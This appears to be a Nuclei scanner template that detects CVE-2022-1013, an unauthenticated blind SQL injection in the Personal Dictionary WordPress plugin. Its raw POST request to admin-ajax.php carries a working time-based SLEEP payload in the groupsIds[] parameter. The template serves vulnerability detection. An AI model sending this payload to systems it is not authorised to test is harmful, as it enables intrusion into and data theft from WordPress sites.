41 lines
1.4 KiB
YAML
41 lines
1.4 KiB
YAML
id: CVE-2022-1013
|
|
|
|
info:
|
|
name: Personal Dictionary < 1.3.4 - Unauthenticated SQLi
|
|
author: theamanrawat
|
|
severity: critical
|
|
description: |
|
|
The Personal Dictionary WordPress plugin before 1.3.4 fails to properly sanitize user supplied POST data before it is being interpolated in an SQL statement and then executed, leading to a blind SQL injection vulnerability.
|
|
remediation: Fixed in version 1.3.4.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/eed70659-9e3e-42a2-b427-56c52e0fbc0d
|
|
- https://wordpress.org/plugins/personal-dictionary/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-1013
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-1013
|
|
cwe-id: CWE-89
|
|
metadata:
|
|
verified: "true"
|
|
tags: wp,unauth,wpscan,cve,cve2022,sqli,wordpress,wp-plugin,personal-dictionary
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
@timeout: 30s
|
|
POST /wp-admin/admin-ajax.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
action=ays_pd_ajax&function=ays_pd_game_find_word&groupsIds[]=1)+AND+(SELECT+3066+FROM+(SELECT(SLEEP(5)))CEHy)--+-
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'duration>=5'
|
|
- 'status_code == 200'
|
|
- 'contains(content_type, "text/html")'
|
|
- 'contains(body, "\"status\":true,")'
|
|
condition: and
|